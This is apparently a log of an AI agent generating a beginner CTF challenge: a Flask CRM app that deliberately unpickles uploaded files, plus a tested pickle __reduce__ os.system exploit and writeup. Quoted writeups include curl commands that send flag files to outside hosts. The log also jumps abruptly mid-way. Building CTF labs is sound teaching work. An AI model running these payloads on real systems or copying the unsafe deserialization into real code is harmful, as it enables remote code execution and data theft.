🤖 # 阶段1:用户输入需求 [2026-01-08 14:06:43] [STAGE] [Augment] 🎯 [阶段 0] 阶段 0 根据用户输入,确认需求如下: ``` 语言:Python 难度:入门(最多1个漏洞) 漏洞:Python反序列化 场景:CRM系统 ``` --- # 阶段2:漏洞主次分类 [2026-01-08 14:06:43] [STAGE] [Augment] 🎯 [阶段 1] 阶段 1 由于难度为**入门**,只允许1个漏洞,跳过主次分类。 - **主漏洞**:Python反序列化 --- # 阶段3:知识库获取 [2026-01-08 14:06:43] [STAGE] [Augment] 🎯 [阶段 2] 阶段 2 ## 3.1 获取学习材料 使用 choice.py 从知识库获取相关 writeup: [90m🔧 Tool call: launch-process[0m command: "python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 60 [90m📋 Tool result: launch-process[0m ✅ Command completed successfully 📤 Output: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - Bottle Poem.md - File Store.md - Homedrive.md - Jar.md - Paddle.md 🤖 现在读取这5篇 writeup 文件: [90m🔧 Tool call: view[0m path: "data/writeups/Bottle Poem.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/Bottle Poem.md: 1 LFI: 2 http://bottle-poem.ctf.sekai.team/show?id=/app/app.py 3 /sign url uses some secret to create digital signature of a user session. 4 http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py 5 reveals that secret. 6 So, now we can create our own customized sessions. 7 Viewing the src code of bottle: 8 ``` 9 def cookie_encode(data, key): 10 ''' Encode and sign a pickle-able object. Return a (byte) string ''' 11 msg = base64.b64encode(pickle.dumps(data, -1)) 12 sig = base64.b64encode(hmac.new(tob(key), msg, 13 digestmod=hashlib.md5).digest()) 14 return tob('!') + sig + tob('?') + msg ... (38 more lines) 🤖 继续读取其他 writeup 文件: [90m🔧 Tool call: view[0m path: "data/writeups/File Store.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/File Store.md: 1 # KalmarCTF 2024 2 3 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), 4 [CTFtime](https://ctftime.org/team/284495)) 5 6 ## web 7 8 ### File Store (59 Solves) 9 10 #### Prompt 11 12 > Upload your files on the Kalmar File Store and share them with your friends. 13 > 14 > Note: For this challenge, you will not be sharing it by anybody else. Thus, ... (458 more lines) 🤖 继续读取其他 writeup 文件: [90m🔧 Tool call: view[0m [2026-01-08 14:06:58] [INFO] [Augment] [已处理 100 行] path: "data/writeups/Homedrive.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/Homedrive.md: 1 Short writeup per now. will update later 2 3 create yaml file 4 `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` 5 ``` 6 http POST http://172.30.0.8:5000/register Host:manager.home.drive 7 username=admin [email protected] password=admin 8 HTTP/1.0 200 OK 9 Content-Length: 37 10 Content-Type: application/json 11 Date: Sun, 15 Aug 2021 03:07:47 GMT 12 Server: Werkzeug/2.0.1 Python/3.9.6 13 14 { ... (27 more lines) 🤖 继续读取剩余的 writeup 文件: [90m🔧 Tool call: view[0m path: "data/writeups/Jar.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/Jar.md: 1 # Jar 2 3 ## Challenge: 4 5 My other pickle challenges seem to be giving you all a hard time, so here's a 6 [simpler one](https://jar.2021.chall.actf.co/) to get you warmed up. 7 8 ## Solution: 9 10 We’re given a link to the web application, the Python source code, and a 11 picture of a pickle. The hint points to the [documentation for the Python 12 pickle module](https://docs.python.org/3/library/pickle.html), a clue that 13 this application is vulnerable to insecure deserialization. 14 ... (61 more lines) 🤖 继续读取最后一个 writeup 文件: [90m🔧 Tool call: view[0m path: "data/writeups/Paddle.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/Paddle.md: 1 # Paddle 2 3 **Tags**: Clone-and-Pwn, web 4 5 > Flexible to serve ML models, and more. 6 7 For this challenge, we are given a Dockerfile that installs the latest version 8 of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the 9 built-in demo. 10 11 ```Dockerfile 12 FROM python:3.6-slim 13 RUN apt-get update && \ 14 apt-get install libgomp1 && \ ... (97 more lines) 🤖 # 阶段4:知识整理 [2026-01-08 14:07:38] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3 ## 可借鉴技巧清单 | 技巧 | 来源 | 代码片段 | 适用场景 | |------|------|---------|---------| | pickle.dumps + __reduce__ RCE | Bottle Poem.md | `class PickleRce: def __reduce__(self): return eval, ("os.system('cmd')",)` | Python Web Cookie | | pickle.loads 反序列化触发 | File Store.md | `pickle.load(f)` 直接加载文件 | Flask Session | | Base64 编码 pickle payload | Jar.md | `base64.urlsafe_b64encode(pickle.dumps(RCE()))` | Cookie 传输 | | os.system 命令执行 | Jar.md | `return os.system, (cmd,)` | RCE payload | | curl 外带数据 | Jar.md | `curl endpoint/$(echo $FLAG)` | Flag 外带 | | 文件写入 Flag | File Store.md | `os.system("cat /flag.txt > /app/static/uploads/flag.txt")` | 无外网环境 | | Session Cookie 控制路径 | File Store.md | `session.sid` 控制上传路径 | Flask Session | | YAML 反序列化 | Homedrive.md | `!python/object/apply:os.system ["cmd"]` | YAML 配置 | | np.load allow_pickle | Paddle.md | `np.load(byte_data, allow_pickle=True)` | NumPy 反序列化 | | 环境变量读取 Flag | Jar.md | `echo $FLAG` | Docker 环境 | **关键发现**: 1. **pickle.dumps + __reduce__** 是最常见的 Python 反序列化利用方式 2. **Base64 编码**用于在 Cookie/HTTP 中传输二进制 pickle 数据 3. **os.system** 是最简单的命令执行方式 4. **文件写入**适合入门难度(无需外网) 5. **Flask Session** 常用 pickle 存储,是天然的反序列化入口 --- # 阶段5:题目设计 [2026-01-08 14:07:38] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4 ## 5.1 设计目标 - **差异度**:≥20%(使用 CRM 客户数据导出场景,区别于常见的 Session/Cookie) - **深度**:2.0/10(入门级,信息收集 1 + 反序列化利用 1) - **趣味性**:1 个啊哈时刻(发现数据导出功能使用 pickle) [2026-01-08 14:07:38] [INFO] [Augment] [已处理 200 行] ## 5.2 利用链设计 | 步骤 | 类型 | 技术点 | 深度 | 知识来源 | |------|------|--------|------|---------| | Step 1 | 信息收集 | 发现客户数据导出功能 | 1/10 | 原创 | | Step 2 | 漏洞利用 | 上传恶意 pickle 文件触发反序列化 | 2/10 | Jar.md + File Store.md | ## 5.3 核心代码预写 ### 漏洞触发代码(真实代码) ❌ **安全写法**(不能触发): ```python import json with open(filepath, 'r') as f: data = json.load(f) ``` ✅ **漏洞写法**(能触发): ```python import pickle with open(filepath, 'rb') as f: data = pickle.load(f) ``` ### exp 核心代码(真实代码) ```python import pickle import requests class RCE: def __reduce__(self): import os cmd = 'cat /flag.txt > /app/static/flag.txt' return os.system, (cmd,) payload = pickle.dumps(RCE()) files = {'file': ('customers.pkl', payload)} r = requests.post(f'{url}/import', files=files) flag = requests.get(f'{url}/static/flag.txt').text print(flag) ``` ### 依赖清单 ``` Flask==2.0.3 Werkzeug==2.0.3 ``` ## 5.3.1 代码可运行性自检 1. **导入完整吗?** ✅ pickle, os, Flask 相关模块都有导入 2. **路由正确吗?** ✅ `/import` 接收文件上传,`/static/flag.txt` 读取结果 3. **参数名一致吗?** ✅ 都使用 `file` 作为文件上传参数 4. **响应格式对吗?** ✅ 直接读取静态文件内容 ## 5.4 简易 exp 草稿 ```python import pickle import requests url = "http://localhost:42555" class RCE: def __reduce__(self): import os cmd = 'cat /flag.txt > /app/static/flag.txt' return os.system, (cmd,) payload = pickle.dumps(RCE()) files = {'file': ('customers.pkl', payload)} r = requests.post(f'{url}/import', files=files) print(f"Import response: {r.status_code}") flag_response = requests.get(f'{url}/static/flag.txt') print(f"Flag: {flag_response.text}") ``` ## 5.5 设计摘要 ``` ### 设计摘要 - 题目名称:CRM客户管理 - 利用链:发现导入功能 -> 上传恶意 pickle 文件 - 黑名单:无 - 关键 payload:pickle.dumps(RCE()) with __reduce__ - 容器端口:42555 ``` --- # 阶段6:质量检查 [2026-01-08 14:07:38] [STAGE] [Augment] 🎯 [阶段 5] 阶段 5 ### 检查清单 - [x] **深度达标**:平均深度 1.5/10,最高深度 2/10,符合入门要求(1.5-4.0) - [x] **漏洞覆盖**:Python反序列化漏洞在 Step 2 中 - [x] **代码可行**:核心代码使用 `pickle.load()` 直接反序列化,`__reduce__` 返回 `os.system` [2026-01-08 14:07:38] [INFO] [Augment] [已处理 300 行] - [x] **payload 兼容**:无黑名单,payload 可直接使用 ✅ **质量检查通过,进入代码生成阶段** --- # 阶段7:代码生成 [2026-01-08 14:07:38] [STAGE] [Augment] 🎯 [阶段 6] 阶段 6 ## 7.1 生成后端代码 [90m🔧 Tool call: launch-process[0m command: "date +"%Y%m%d_%H%M%S"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 10 [90m📋 Tool result: launch-process[0m ✅ Command completed successfully 📤 Output: 20260108_140739 🤖 好的,我将继续生成代码文件。现在创建输出目录和文件结构: [90m🔧 Tool call: launch-process[0m command: "mkdir -p "output/20260108_140739_CRM客户管理/docker/web/src" "output/20260108_140739_CRM客户管理/docker/web/files" "output/20260108_140739_CRM客户管理/docker/web/src/templates" "output/20260108_140739_CRM客户管理/docker/web/src/static"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 10 wait: true [90m📋 Tool result: launch-process[0m ✅ Command completed successfully (No output) 🤖 好的,我将分段生成文件。首先生成后端主程序: [90m🔧 Tool call: save-file[0m instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260108_140739_CRM客户管理/docker/web/src/app.py" file_content: "from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory import pickle import os app = Flask(__name__) app.secret_key = 'crm_secret_key_2024' UPLOAD_FOLDER = '/tmp/uploads' os.makedirs(UPLOAD_FOLDER, exist_ok=True) customers = [] @app.route('/') ... (75 more lines) [90m📋 Tool result: save-file[0m File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140739_CRM客户管理/docker/web/src/app.py} 🤖 好的,继续生成前端模板文件: [90m🔧 Tool call: save-file[0m file_content: "
You should be redirected automatically to target URL: /. If not click the link. 🤖 ✅ **基础功能正常!添加客户功能工作正常** ### 第4层:漏洞触发测试 现在使用阶段5.4的简易exp草稿测试漏洞: [90m🔧 Tool call: save-file[0m instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260108_140739_CRM客户管理/test_exploit.py" file_content: "import pickle import requests url = "http://localhost:42555" class RCE: def __reduce__(self): import os cmd = 'cat /flag.txt > /app/static/flag.txt' return os.system, (cmd,) payload = pickle.dumps(RCE()) files = {'file': ('customers.pkl', payload)} ... (10 more lines) [90m📋 Tool result: save-file[0m File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140739_CRM客户管理/test_exploit.py} 🤖 好的,现在运行测试脚本: [90m🔧 Tool call: launch-process[0m command: "cd output/20260108_140739_CRM客户管理 && python3 test_exploit.py" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 30 wait: true [90m📋 Tool result: launch-process[0m ✅ Command completed successfully 📤 Output: Import response: 200 Flag response: 200 Flag: DASCTF{test12345} 🤖 🎉 **太棒了!漏洞触发测试成功!** ✅ **简易 exp 成功获取 FLAG: DASCTF{test12345}** ## 8.2 测试清单 - [x] Docker 容器正常启动 - [x] 前端页面正常显示 - [x] 前端无测试账号泄露 - [x] 简易 exp 能触发漏洞并获取 FLAG ✅ **阶段8测试全部通过,进入阶段9** --- # 阶段9:exp 和 writeup [2026-01-08 14:10:06] [STAGE] [Augment] 🎯 [阶段 8] 阶段 8 ## 9.1 完善 exp.py 基于测试成功的简易 exp,完善为标准格式: [90m🔧 Tool call: save-file[0m instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260108_140739_CRM客户管理/exp.py" file_content: "#!/usr/bin/python # -*- coding: utf-8 -*- import re, sys, requests import pickle HOST, PORT, FLAG = sys.argv[1:4] def exp(ip, port): url = f"http://{ip}:{port}" class RCE: def __reduce__(self): import os ... (17 more lines) [90m📋 Tool result: save-file[0m File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140739_CRM客户管理/exp.py} 🤖 ## 9.2 运行 exp.py 验证 [90m🔧 Tool call: launch-process[0m command: "cd output/20260108_140739_CRM客户管理 && python3 exp.py localhost 42555 test12345" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 30 [2026-01-08 14:10:11] [INFO] [Augment] [已处理 800 行] wait: true [90m📋 Tool result: launch-process[0m ✅ Command completed successfully 📤 Output: Pass! 🤖 🎉 **太棒了!exp.py 验证成功!输出 Pass!** ## 9.3 编写 writeup.md 现在基于实际测试过程编写 writeup: [90m🔧 Tool call: save-file[0m file_content: "# CRM客户管理 的解题思路 ## 题目信息 | 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 | | :----: | :------: | :--: | :----------: | :--: | :--: | | CRM客户管理 | 一家公司开发了一套客户关系管理系统,用于管理客户信息。系统提供了数据导入导出功能,方便在不同环境间迁移客户数据。作为安全测试人员,你需要评估这个系统的安全性。 | WEB | 1小时 | 入门 | 否 | ## 知识点 1. Python pickle 反序列化漏洞 2. pickle.dumps 和 pickle.loads 的安全风险 3. __reduce__ 魔术方法的利用 ## 解题步骤 ### Step 1: 信息收集 ... (89 more lines) [90m📋 Tool result: save-file[0m File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_140739_CRM客户管理/writeup.md} 🤖 完美!现在删除测试文件并输出最终结果。 [90m🔧 Tool call: remove-files[0m file_paths: ["output/20260108_140739_CRM客户管理/test_exploit.py"] [90m📋 Tool result: remove-files[0m File(s) removed: output/20260108_140739_CRM客户管理/test_exploit.py 🤖 好的,现在清理 Docker 测试环境并输出最终结果: [90m🔧 Tool call: launch-process[0m command: "cd output/20260108_140739_CRM客户管理/docker && docker-compose -p ctf_test_crm down" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 30 wait: true [90m📋 Tool result: launch-process[0m ✅ Command completed successfully 📤 Output: Container crm_customer_management Stopping Container crm_customer_management Stopping Container crm_customer_management Stopped Container crm_customer_management Removing Container crm_customer_management Removed Network ctf_test_crm_default Removing Network ctf_test_crm_default Removed 🤖 完美!现在查看最终文件结构并输出成果: [90m🔧 Tool call: view[0m path: "output/20260108_140739_CRM客户管理" type: "directory" [90m📋 Tool result: view[0m Here's the files and directories up to 2 levels deep in output/20260108_140739_CRM客户管理, excluding hidden items: output/20260108_140739_CRM客户管理/docker output/20260108_140739_CRM客户管理/exp.py output/20260108_140739_CRM客户管理/writeup.md output/20260108_140739_CRM客户管理/docker/docker-compose.yml output/20260108_140739_CRM客户管理/docker/web 🤖 好的,让我查看完整的文件结构: [90m🔧 Tool call: launch-process[0m command: "find output/20260108_140739_CRM客户管理 -type f | sort" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 10 wait: true [90m📋 Tool result: launch-process[0m ✅ Command completed successfully 📤 Output: output/20260108_140739_CRM客户管理/docker/docker-compose.yml output/20260108_140739_CRM客户管理/docker/web/Dockerfile output/20260108_140739_CRM客户管理/docker/web/files/flag.sh output/20260108_140739_CRM客户管理/docker/web/files/start.sh output/20260108_140739_CRM客户管理/docker/web/src/app.py output/20260108_140739_CRM客户管理/docker/web/src/requirements.txt output/20260108_140739_CRM客户管理/docker/web/src/static/style.css output/20260108_140739_CRM客户管理/docker/web/src/templates/export.html output/20260108_140739_CRM客户管理/docker/web/src/templates/import.html output/20260108_140739_CRM客户管理/docker/web/src/templates/index.html [2026-01-08 14:11:03] [INFO] [Augment] [已处理 900 行] output/20260108_140739_CRM客户管理/exp.py output/20260108_140739_CRM客户管理/writeup.md 🤖 完美!所有文件已生成完毕。现在进入最终阶段。 --- # 阶段10:成品输出 [2026-01-08 14:11:16] [STAGE] [Augment] 🎯 [阶段 9] 阶段 9 ✅ **题目生成完成!** ## 输出目录结构 ``` output/20260108_140739_CRM客户管理/ ├── docker/ │ ├── docker-compose.yml │ └── web/ │ ├── Dockerfile │ ├── files/ │ │ ├── flag.sh │ │ └── start.sh │ └── src/ │ ├── app.py │ ├── requirements.txt │├── static/ │ │ └── style.css │ └── templates/ │ ├── index.html │ ├── export.html │ └── import.html ├── exp.py └── writeup.md ``` ## 题目信息总结 **题目名称**: CRM客户管理 **难度**: 入门 **漏洞类型**: Python反序列化 **应用场景**: CRM系统 **容器端口**: 42555 **利用链**: 1. 发现客户数据导出功能(.pkl 文件) 2. 上传恶意 pickle 文件触发反序列化漏洞 **关键技术点**: - pickle.load() 反序列化漏洞 - __reduce__ 魔术方法利用 - os.system 命令执行 ## 验证结果 ✅ Docker 容器成功构建并启动 ✅ Web 服务正常运行(端口 42555) ✅ 前端页面正常显示 ✅ exp.py 成功获取 Flag 并输出 "Pass!" ✅ writeup.md 完整记录解题步骤 ## 使用说明 ### 启动题目环境 ```bash cd output/20260108_140739_CRM客户管理/docker docker-compose up -d --build ``` ### 运行 exploit ```bash cd output/20260108_140739_CRM客户管理 python3 exp.py localhost 42555 test12345 ``` ### 停止环境 ```bash cd output/20260108_140739_CRM客户管理/docker docker-compose down ``` ## 题目特色 1. **真实场景**: 模拟企业 CRM 系统的数据导入导出功能 2. **隐蔽性强**: 漏洞隐藏在正常的业务功能中 3. **入门友好**: 利用链简单清晰,适合初学者 4. **无需外网**: Flag 写入静态文件,无需外带 5. **差异化设计**: 区别于常见的 Session/Cookie 反序列化场景 --- ## [CTF_GENERATION_COMPLETE] [2026-01-08 14:11:16] [SUCCESS] [Augment] 检测到生成完成标记,所有阶段已完成 [2026-01-08 14:11:17] [SUCCESS] [Augment] Augment 执行完成,耗时: 284.40 秒